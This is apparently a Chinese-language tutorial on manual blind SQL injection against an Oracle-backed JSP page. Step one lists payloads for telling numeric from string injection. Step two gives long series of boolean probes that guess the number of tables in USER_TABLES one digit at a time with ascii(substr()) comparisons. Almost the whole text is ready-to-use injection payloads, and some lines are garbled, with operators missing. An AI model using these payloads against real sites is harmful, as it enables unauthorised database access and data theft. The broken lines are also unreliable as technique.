1、 判断注入类型(数字型还是字符型)字符型和数字型数据判断:(希望有人能进一步的细化,细分为数字型和字符型判断两部分)
And user>char(0)
And user
http://www.test.net/index_kaoyan_view.jsp?id=117'
And user>char(0) And '1'='1
' And userchar(0) And '%'='
' And userchar(0) And (' ')=('
') And user
http://www.test.net/index_kaoyan_view.jsp?id=117
And str(98)>str(97)
And str(98)
' And str(98)>str(97) And '1'='1
' And str(98)str(97) And '%'='
' And user
http://www.test.net/index_kaoyan_view.jsp?id=117'
And str(98)str(97) And (' ')=('
') And str(98)出现正常的页面:
And USER>CHR(0)
And USER2、 猜解表数量和表名数据库数量为3:
And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
And UNISTR(1)>UNISTR(0)以下为猜解数据表数量数据表第一位为:1
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))数据表第二位为:3
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))数据表第三位为:1
And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
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http://www.test.net/index_kaoyan_view.jsp?id=117
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